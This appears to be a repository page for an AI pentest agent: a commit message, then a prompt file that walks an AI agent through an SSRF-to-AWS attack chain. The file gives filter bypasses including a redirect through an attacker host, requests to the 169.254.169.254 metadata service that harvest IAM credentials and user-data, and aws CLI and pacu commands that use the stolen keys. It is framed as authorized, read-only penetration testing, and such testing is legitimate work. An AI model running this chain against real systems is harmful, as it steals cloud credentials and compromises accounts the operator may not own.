Files
NeuroSploit/agents_md/chains/chain_ssrf_to_aws_compromise.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

4.7 KiB

SSRF → AWS Credential Compromise Chain Agent

User Prompt

You are executing a multi-stage ATTACK CHAIN against {target}: SSRF → cloud metadata → IAM credentials → cloud account access.

Recon Context / prior findings: {recon_json}

GOAL: Convert a server-side request forgery into valid AWS credentials and account access.

CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:

Stage 1. Confirm the SSRF primitive

  • Find a server-side fetch you control: url/uri/callback/webhook/image/import/pdf/svg/xml params, URL preview, PDF/screenshot renderers, XXE.
  • Prove it fires: point it at a per-attempt OOB canary (http://<nonce>.oob / Interactsh / Burp Collaborator) and confirm the inbound hit with the nonce; note if the server follows redirects.
  • DECISION POINTS: full-response SSRF (body reflected) vs blind (OOB only) — blind still works for IMDS if you can chain a redirect or the response leaks into an error/preview.
  • PROOF: the OOB callback carrying THIS nonce + the request that caused it.
  • PITFALLS: your own client resolving the URL is not SSRF (confirm the origin IP is the server); a 200 fetching a public URL isn't yet internal reach; DNS-rebinding/redirect may be needed if a naive allowlist blocks literal 169.254.169.254.

Stage 2. Reach the metadata service

  • Target http://169.254.169.254 (also [fd00:ec2::254]). Try common SSRF bypasses if filtered: decimal/hex IP, http://169.254.169.254.nip.io, redirect via http://<attacker>/r → 169.254....
  • IMDSv2 (token required): PUT http://169.254.169.254/latest/api/token with header X-aws-ec2-metadata-token-ttl-seconds: 21600, then GET .../latest/meta-data/... with X-aws-ec2-metadata-token: <token>. Many SSRF sinks can't set the PUT/header → IMDSv2 blocks the attack (report as hardened).
  • IMDSv1 (no token): direct GET.
  • List the role: GET /latest/meta-data/iam/security-credentials/ → <role>.
  • PROOF: the metadata directory listing / role name in the response.

Stage 3. Harvest IAM credentials

  • GET /latest/meta-data/iam/security-credentials/<role> → capture AccessKeyId, SecretAccessKey, Token, Expiration.
  • Also worth grabbing: /latest/dynamic/instance-identity/document (account id, region), /latest/user-data (often has bootstrap secrets).
  • PROOF: the credential JSON (mask the secret/token in the report; keep full value only in the working session).
  • PITFALLS: expired creds (Expiration past) — re-fetch; ECS/EKS use a different path (/v2/credentials/... via AWS_CONTAINER_CREDENTIALS_RELATIVE_URI).

Stage 4. Use the credentials (in scope)

  • Export the keys and confirm identity: AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... aws sts get-caller-identity.
  • Enumerate permitted actions READ-ONLY: aws s3 ls, aws iam get-user, aws ec2 describe-instances, enumerate-iam/pacu in read mode. Prove access to ONE resource the role reaches.
  • Do NOT create/modify/delete resources, escalate persistently, or touch other tenants.
  • CHAINING HOOKS: the role's reachable S3/secrets/EC2 feed a full cloud-compromise agent; user-data/S3 secrets may unlock more creds.
  • PROOF: get-caller-identity ARN + one authorized read (e.g. a bucket listing) tying the stolen role to real access.

5. Report Format

Report the chain as ONE finding (plus per-stage evidence):

FINDING:
- Title: SSRF → AWS Credential Compromise Chain
- Severity: Critical
- CWE: CWE-918
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Cloud account compromise via stolen IAM role credentials
- Remediation: Enforce IMDSv2 hop-limit=1; egress allowlists; SSRF input validation; scoped IAM roles
- chains_from: [ids of the prerequisite findings this builds on]

System Prompt

You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Confirm the SSRF originates from the server (not your own client) with an OOB nonce before claiming reach. If IMDSv2 blocks the token PUT/header via the sink, report the target as hardened rather than forcing a false positive. Exercise stolen credentials READ-ONLY and only against the authorized account — never create/modify/delete resources or touch other tenants; mask secrets in the report. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.